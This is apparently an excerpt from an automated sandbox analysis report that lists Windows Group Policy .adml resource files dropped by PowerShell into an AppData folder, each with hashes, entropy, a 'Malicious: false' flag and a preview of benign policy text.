Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PublishDfsRoots">Allow DFS roots to be published</string>.. <string id="PublishDfsRoots_Help">This policy setting determines whether the user can publish DFS roots in Active Directory Domain Services (AD DS).....If you enable or do not configure this policy setting, users can use the "Publish in Active Directory" option to publish DFS roots as shared folders in AD DS .....If you disable this policy setting, users cannot publish DFS roots in AD DS and the "Publish in Active Directory" option is disabled. Note:

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Sharing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (372), with CRLF line terminators
Category:	dropped
Size (bytes):	2463
Entropy (8bit):	4.766622027240466
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKMQ44nWQqxjgwrGOnLbvE4juaM8oFV:LeD5pmdpMGOnN6aM8oFV
MD5:	F76CBCDF77EAC5FEF366F9F9D45F5E76
SHA1:	89F54964A2B4E1DE63448AADFCC678470886DDAF
SHA-256:	56D6E0E7FD98836C698D345735B4F7633DF49C455500C41B20E7B5D6FDF40AB3
SHA-512:	D86BB5E1DA555D6F09FEA4E3C930AE560E777F64B0C38A225201CC401869A82A0A05A5C3E874310C1F4C0BA33F131B607CBA7DAB8BE61AC247F44CCB080401D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="NoInplaceSharing">Prevent users from sharing files within their profile.</string>.. <string id="NoInplaceSharing_Help">This policy setting specifies whether users can share files within their profile. By default users are allowed to share files within their profile to other users on their network after an administrator opts in the computer. An administrator can opt in the computer by using the sharing wizard to share a file within their profile.....If you enable this policy setting, users cannot share files w

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Shell-CommandPrompt-RegEditTools.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (461), with CRLF line terminators
Category:	dropped
Size (bytes):	5239
Entropy (8bit):	4.777406183575808
Encrypted:	false
SSDEEP:	96:LeD5pmrH1U680U30fNS57tc/Ja80+fgT9lsc/osa80+fVxV:EYU6xU3RtckQ0zscCQVT
MD5:	3925D35054AB425A8F3690C2FA33BDFC
SHA1:	A2DFC384B4F8351B40B9406A94ADEFB1B85F9C7B
SHA-256:	BEC7CF7EC0CDFD01BB8677C20C887988A642742F136C0437D49A67F218087842
SHA-512:	AE7CABBE1C4E7618E787F9D3BDB621CB32E99F5802114A20BCF6ADA2E7B52F7EE12556E8023B38142FF42EA580624DAB40D988B23AEE4BB4BB9E2A8905B175D1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableCMD">Prevent access to the command prompt</string>.. <string id="DisableCMD_Help">This policy setting prevents users from running the interactive command prompt, Cmd.exe. This policy setting also determines whether batch files (.cmd and .bat) can run on the computer.....If you enable this policy setting and the user tries to open a command window, the system displays a message explaining that a setting prevents the action.....If you disable this policy setting or do not configure it, users can run Cmd.

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\ShellWelcomeCenter.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	4.934703334666594
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61y8Cnid3PRM5LDa3IQWFV:cgeD5x8gm8fK4IPRMNe3IQWFV
MD5:	E1C3A48A813C8E8D7F076966FFF1782F
SHA1:	E678B2457A0B3D7FA37C25899823E1DCBF335552
SHA-256:	778A48685463098ECBAB0E95EC4BA4CC299704453A10B790404D636C78495A6F
SHA-512:	E7B2002E5ABEDBC1C2E877143F6296A060FF2BE18CDF9743119F068CBA422A4D4B502E7E69DCABA5D1A5BBB20E42D9EA978479A3A996040E4F9CC5413F1E1F5E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="RestrictWelcomeCenter">Do not display the Welcome Center at user logon</string>.. <string id="RestrictWelcomeCenter_Help">This policy setting prevents the display of the Welcome Center at user logon.....If you enable this policy setting, the Welcome Center is not displayed at user logon. The user can access the Welcome Center using the Control Panel or Start menu.....If you disable or do not configure this policy setting, the Welcome Center is displayed at user logon.</string>.. </stringTable>.. </resource

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Sidebar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	4.808024425882859
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKv7uPPd4IaFpT6P0vQWjp3lFV:LeD5pm38BG56i1FV
MD5:	FF097ECD6B6D14BEEB70B111DEB1EE8C
SHA1:	2AE1D93696A7892254D05D9C73B21360B056EDAE
SHA-256:	70198BCD06B06CBBFBE1CCDDDC0815D3BB2239CAD51403E32340C20B892A06D9
SHA-512:	E1C41A1B9CC3CE9987CFA52447A24CCEA55CE38F4F09AAC5071365CF206D28D94F7C4CE77B3B693D019084DA2BD5F9646EEB287BA8C4CBDADB06C6614EF87F03
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Sidebar">Desktop Gadgets</string>.. <string id="TurnOffSidebar">Turn off desktop gadgets</string>.. <string id="TurnOffSidebar_Explain">This policy setting allows you to turn off desktop gadgets. Gadgets are small applets that display information or utilities on the desktop.....If you enable this setting, desktop gadgets will be turned off.....If you disable or do not configure this setting, desktop gadgets will be turned on.....The default is for desktop gadgets to be turned on.</string>.. <string

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\SkyDrive.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (698), with CRLF line terminators
Category:	dropped
Size (bytes):	3086
Entropy (8bit):	4.858829936806005
Encrypted:	false
SSDEEP:	48:c/x8gZmwKweH8weDCmOw7khgLf6aweXLwepnFo7hgjfAwleJ9dwBb7DQweFXKV:wpZmmymCmCeSVAo7hzzM7DXLV
MD5:	7C6ABEF96D8FC4473B348F9CC6AB14CA
SHA1:	4ED99551F1EF8DCD42BC5A66A9072739CBB106A8
SHA-256:	0D9F815210F123D3A3201EA0530F0C5F4C8C2B3CF6AE146402D1B3D7E83E77C6
SHA-512:	A360D6F086C9173869E70027EEB9BA07CE40DEA1098E0582206F7A4D3EF101DDD4DDBCB5A7CB95445CC4394FB09577D6C81DACEC6791F592DE18F80A515C75C8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <displayName>Prevent OneDrive file sync</displayName>.. <description>Prevent files from being automatically synced to OneDrive</description>.. <resources>.. <stringTable>.. general -->.. <string id="SkydriveSettingCategory">OneDrive</string>.. .. prevent file sync-->.. <string id="PreventSkydriveFileSync">Prevent the usage of OneDrive for file storage</string>.. <string id="PreventSkydriveFileSync_help">This policy setting lets you prevent apps and features from working with files on OneDrive...If you enable this policy setting:....* Users can.t access OneDrive from the OneDrive app and file picker...* Windows Store apps can.t access OneDrive using the WinRT API...* OneDrive

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Smartcard.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (505), with CRLF line terminators
Category:	dropped
Size (bytes):	13897
Entropy (8bit):	4.622403059025047
Encrypted:	false
SSDEEP:	192:ErlLxCEj//4LPwqCop5PqByD2mqKzeYWApNHXsV3sCkm0gb9DiCPoQCDEi1969sp:OHal3as861969sMot
MD5:	8EE4A00ED150375834D94CDF3644BB08
SHA1:	2818877ACB6381F12CB1583B8C366B8E2E8FB8CF
SHA-256:	CF6F61B50CD4BF427834FEC9D7D5C6FBDC0CDB3C5E8E07A66F04BA3D60E093B9
SHA-512:	4E4B668272BF4F64C4C47E09A2F38422D49391C418A62CB1E955A683B7045E0646FDC33E5565902F20281D28406074FFC07FC9A5AB9A4154B6F2D496C3DD1087
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowCertificatesWithNoEKU">Allow certificates with no extended key usage certificate attribute</string>.. <string id="AllowCertificatesWithNoEKU_help">This policy setting lets you allow certificates without an Extended Key Usage (EKU) set to be used for logon.....In versions of Windows prior to Windows Vista, smart card certificates that are used for logon require an enhanced key usage (EKU) extension with a smart card logon object identifier. This policy setting can be used to modify that restriction.....If

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Snis.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	4.846146849523547
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKmZRbhuTOk1/hK82bGGrTFwbXOxJhK8hTwJkxwXzNCSFV:LeD5pmCZlhuykphr2bGGrTFwb+7hrhT8
MD5:	80C54C63C7D081F9C7D7738D50F1D92A
SHA1:	11ECD72C962D4B9F90E158A8D0D9544A3101D6A0
SHA-256:	D764EA69BA0C9BF3B83D8D497820419A8EC755B4A81C4394DB5A73C6FF19CDFB
SHA-512:	D82E63819C06EBAE7A2E0BD8B9CD879D766EA18A4B2B2CAB3E38A2ECF8D585E40C0F2EF89FD59781B3D6A6152AC65C40A2FEC966BB37151F8DA3CFEA8AD4ED22
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Snis">Server for NIS</string>.. <string id="Snis_LoggingLevel">Turn on extensive logging for Active Directory Domain Services domain controllers that are running Server for NIS</string>.. <string id="Snis_LoggingLevel_Help">This policy setting allows an administrator to configure extensive logging for computers that are running Server for Network Information Service (NIS).....If you enable this policy setting, intermediate steps of NIS map updates or propagations, and whether map updates are successful, a

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Snmp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5042
Entropy (8bit):	4.799259798850357
Encrypted:	false
SSDEEP:	96:LeD5pm4bGHevi6cwIJyoKbT6c0Jyovt46cwnJyoPlV:EJHi65MKf6JF4655PH
MD5:	C5F44A83C74633615BB7005A8530B912
SHA1:	63AFE83576A32B083EFA4003A95CD82A66461FDC
SHA-256:	205A6CCFF312FB39D59B754925B871CA51845DEB5224EC0BF41B48BE64589C7D
SHA-512:	A11028E185B061A2F42849F09CBB50AA75D0B6FB25650A65C1099CC33E5CEFD024B870F0E3E5C39C1B632DCDC9B4AB7526D5A29DD5DF1E33BABB45AA31D6F4AC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SNMP_Communities">Specify communities</string>.. <string id="SNMP_PermittedManagers">Specify permitted managers</string>.. <string id="SNMP_PermittedManagers_Help">This policy setting determines the permitted list of hosts that can submit a query to the Simple Network Management (SNMP) agent running on the client computer.....Simple Network Management Protocol is a protocol designed to give a user the capability to remotely manage a computer network by polling and setting terminal values and monitoring ne

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\SoundRec.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	4.968946981075251
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yef8kxNxVhSexuCvLeKF47q8wFV:cgeD5x8gm8fKR8kNxVPcCzeo4XwFV
MD5:	9C112ED54F6D15614FBA9B6AA1CDFBB0
SHA1:	1F3FFFEA352DC383AA91DFC61290B95218910B59
SHA-256:	F44E48D84C8A5914AAEBC31206F09194DC1041F3DEA70AD7ECD0E402EE3DF165
SHA-512:	E60C57BC46963AC5A09F9C7EA82A23A5E06155D4FF0417EE5A0672B7CB053F62D8765FF807FCE58F2EBF15AB835C942B45089DE2A12B5ED3B5CA7C63D62A8941
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Soundrec_DiableApplication_TitleText">Do not allow Sound Recorder to run</string>.. <string id="Soundrec_DisableApplication_DescriptionText">Specifies whether Sound Recorder can run.....Sound Recorder is a feature of Microsoft Windows Vista that can be used to record sound from an audio input device where the recorded sound is encoded and saved as an audio file.....If you enable this policy setting, Sound Recorder will not run.....If you disable or do not configure this policy setting, Sound Recorder can be ru

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\StartMenu.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (491), with CRLF line terminators
Category:	dropped
Size (bytes):	54118
Entropy (8bit):	4.666836415862256
Encrypted:	false
SSDEEP:	768:kpbzNqeMWd095QOJzSqREFzK1HF/KPCyFqcJjkOme8j:kp/xMWd095QKz9oPCyUh
MD5:	41F89434F7FD242C4772AFB8152909BD
SHA1:	BCC3FC1A4CAE549D934AC9C18C61E4C956E275B7
SHA-256:	030E413AF912FFCBFDB98B2E96A898B6826F7653C1ED021F4CEEDCC7B8C2127E
SHA-512:	27C9BFBF15C3B7BF41A4030094F7B588ED531C2EFB4517E5F9F51A82F55E87BB6C58A9C020C9CF35BFFFD953EE91B39115A4D766C29873ADBE95B448E551EF6E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ClearRecentProgForNewUserInStartMenu">Clear the recent programs list for new users</string>.. <string id="ClearRecentProgForNewUserInStartMenu_Help">If you enable this policy setting, the recent programs list in the start menu will be blank for each new user.....If you disable or do not configure this policy, the start menu recent programs list will be pre-populated with programs for each new user.</string>.. <string id="NoGamesFolderOnStartMenu">Remove Games link from Start Menu</string>.. <string i

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\SystemRestore.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	4.731629807407312
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKJzpQytkh9hyLbSTW3bvkKh+HAskRcHGhwHSbzURJ1amFV:LeD5pm1J+cbeKhjREVbFFV
MD5:	F0306B958EC9DAF0C4E5D2BA8355A02E
SHA1:	970411B4074BB88CDC75E6CA63D83B51FD6220E3
SHA-256:	79B2C3CA033B5CCECB7D24032FFBF7A718EC34BAF4C8BA66E862917337B9FBB5
SHA-512:	32777DE33CE98BE7333D9045D8E1033E629160AD7CC205B6CCA1523F2E6886CBEE20F3682D59D315B949B35481711E8B8A6EA7399BD0137A83496D800BC6882E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SR">System Restore</string>.. <string id="SR_DisableConfig">Turn off Configuration</string>.. <string id="SR_DisableConfig_Help">Allows you to disable System Restore configuration through System Protection.....This policy setting allows you to turn off System Restore configuration through System Protection.....System Restore enables users, in the event of a problem, to restore their computers to a previous state without losing personal data files. The behavior of this policy setting depends on the "Turn o

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TPM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (751), with CRLF line terminators
Category:	dropped
Size (bytes):	19376
Entropy (8bit):	4.677466344688263
Encrypted:	false
SSDEEP:	384:qPHRyQKHBVDkb+wRZtGixXgixyeMJgKzX1SR7YK9q/:qPHgQyPIbBRZtGYXgYYGKUg
MD5:	62D34160550F61471F77F778AA1280CA
SHA1:	2D681645F48460DBA0875917CBF1D2EA0970A161
SHA-256:	62154D9046066523B2833A380FB4A6841AB369D4E7502D1EF8AD93462E0CCE12
SHA-512:	0ACBF5E61FFB9E1F18496F6713F865E392E92CE613CFC143DAF254F63101CB1B0C0FAF16931B111BF1E47E7206B4676079371BCCD6A25543EA6A18AD676B9590
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDirectoryBackup_Help">This policy setting allows you to manage the Active Directory Domain Services (AD DS) backup of Trusted Platform Module (TPM) owner information. ....TPM owner information includes a cryptographic hash of the TPM owner password. Certain TPM commands can only be run by the TPM owner. This hash authorizes the TPM to run these commands. ....If you enable this policy setting, TPM owner information will be automatically and silently backed up to AD DS when you use Windows to set or change a TP

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TabletPCInputPanel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (416), with CRLF line terminators
Category:	dropped
Size (bytes):	14958
Entropy (8bit):	4.684169671948835
Encrypted:	false
SSDEEP:	192:ErZjCAOTCAClCIkwgLtL99S6hOmL0wD4mHAwq8Qh5Kxk4kxgxWx+FNPUX0E:XAZALIYLtL9ILa8blKxk4kxgxWxFkE
MD5:	0F06155D65FCA728F2D46F0A96F4801B
SHA1:	E8D67D09DF0AED3FC5AED0832D901F31830D8A8C
SHA-256:	C170A92E97B43769613F0217D452B39D28A856AD93E95C0CD2E9A40FCC04E6A0
SHA-512:	62DAF44885B775BB39F4E38F5188F0FD2096C78A0F5328451F239D78E4F9325224A8A0AAF769DDA8127CCD879F32F6A012B896E01AABAD8133D738B77B54528D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AutoComplete">Turn off AutoComplete integration with Input Panel</string>.. <string id="AutoCompleteExplain">Turns off the integration of application auto complete lists with Tablet PC Input Panel in applications where this behavior is available.....Tablet PC Input Panel is a Tablet PC accessory that enables you to use handwriting or an on-screen keyboard to enter text, symbols, numbers, or keyboard shortcuts.....If you enable this policy, application auto complete lists will never appear next to Input Panel.

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TabletShell.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (546), with CRLF line terminators
Category:	dropped
Size (bytes):	6673
Entropy (8bit):	4.787936688249674
Encrypted:	false
SSDEEP:	96:LeD5pmXFnAAWTYvS60sTs2ssufgMA7I16D4K9OuNtFV:E6SCKi78DK9XNtn
MD5:	166E80C965CED6606C2DA93D9A03B421
SHA1:	A7651889CBFEF22000E75B348428689C0E755BF7
SHA-256:	88F472A0DA1243EA84662AE4D730D6B86EE53E1901D7CC73EEA724218BD9EBE4
SHA-512:	0CB95E31997AF6E77C155081FCA24FBDE9B401944251ED0D3C04F4A35F017BC3BBB4CFAEEEA8175D56C64CA9352F84DFC45827D76C0DB95CBE314F562C3C4CE0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Accessories">Accessories</string>.. <string id="Cursors">Cursors</string>.. <string id="DisableInkball">Do not allow Inkball to run</string>.. <string id="DisableInkball_Help">Prevents start of InkBall game.....If you enable this policy, the InkBall game will not run.....If you disable this policy, the InkBall game will run.....If you do not configure this policy, the InkBall game will run.</string>.. <string id="DisableJournal">Do not allow Windows Journal to be run</string>.. <string id="

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TaskScheduler.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (579), with CRLF line terminators
Category:	dropped
Size (bytes):	7038
Entropy (8bit):	4.643182607339355
Encrypted:	false
SSDEEP:	192:Ey3uDxqKgSDQ0DiMDoK5DuJW+ibACSYZCn:rWYaQ0Pnu4PjSZ
MD5:	09BB6BBD535E6B16043D7DE703670523
SHA1:	3E7743A2557844CCCC6E5AE42827E676577FE9F4
SHA-256:	00250A97BC62D5C01E534907317937337008B28110DD7AB88A5D32AA347A3B9E
SHA-512:	118B1B0C181AD2DD89955BFDB828E10381F481B81321295AF016A2536B86A26F302F20DFC542974CD512C48F9F2B080CE482D08031BB9B2033328267BF093DD9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowBrowse">Prohibit Browse</string>.. <string id="AllowBrowseHelp">Limits newly scheduled to items on the user's Start menu, and prevents the user from changing the scheduled program for existing tasks.....This setting removes the Browse button from the Schedule Task Wizard and from the Task tab of the properties dialog box for a task. Also, users cannot edit the "Run" box or the "Start in" box that determine the program and path for a task.....As a result, when users create a task, they must select a progra

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\Taskbar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	11395
Entropy (8bit):	4.633029483097701
Encrypted:	false
SSDEEP:	192:EytLqsKeNTdPL5M8R1QfkSK1GOROjzazDzLh5/Cbl4Zgx9IQCmJwgjRLEJn:zM8R1QiGwCCDhtS41
MD5:	B04329C131F6270E21143E3A48884E73
SHA1:	21A2CA3E301813810D7B3874D625C4FABC5DD96A
SHA-256:	17A7E0C29F6FAD55F06306ECE4251A6BF7D40BB30C3178385D01CFFC805A1164
SHA-512:	E50307FA3358D4CAC0C2CE8C5DFD568DDC0795E07DD38A5F655C6BF0F2F071B8D5479D6F89483959054B7256E0BCB09631F8E902B64F0F19CBB051030815633E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="HideSCABattery">Remove the battery meter</string>.. <string id="HideSCABattery_Help">This policy setting allows you to remove the battery meter from the system control area.....If you enable this policy setting, the battery meter is not displayed in the system notification area.....If you disable or do not configure this policy setting, the battery meter is displayed in the system notification area.</string>.. <string id="HideSCANetwork">Remove the networking icon</string>.. <string id="HideSCANetwor

C:\Users\user\AppData\Roaming\FeGIPCnK\Data\en-US\TerminalServer-Server.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (495), with CRLF line terminators
Category:	dropped
Size (bytes):	19641
Entropy (8bit):	4.878122311324998
Encrypted:	false
SSDEEP:	384:HTFGnX5V42B4kc7w3p98BlDJQ2yhfOBV41eCFksM08wjblv:HTI5/b2KfSiNbh
MD5:	F835CA2B1226B25600345F974B8706C4
SHA1:	1B7BA254D3835BA025A8D68A8AC757019081AA09
SHA-256:	E827705FA042FDD68C493B5F0159FE68B10F6B310C957A7F23F45F20DB14666E
SHA-512:	183483215CAE2BA72A226AC50F6057D566A23E411C3BAABF0BBBBB6145046E85049F4B526CDA4591C145F6A92AB75567661885EDCECCE13B60EC0C00DD8E28FA
Malicious:	false
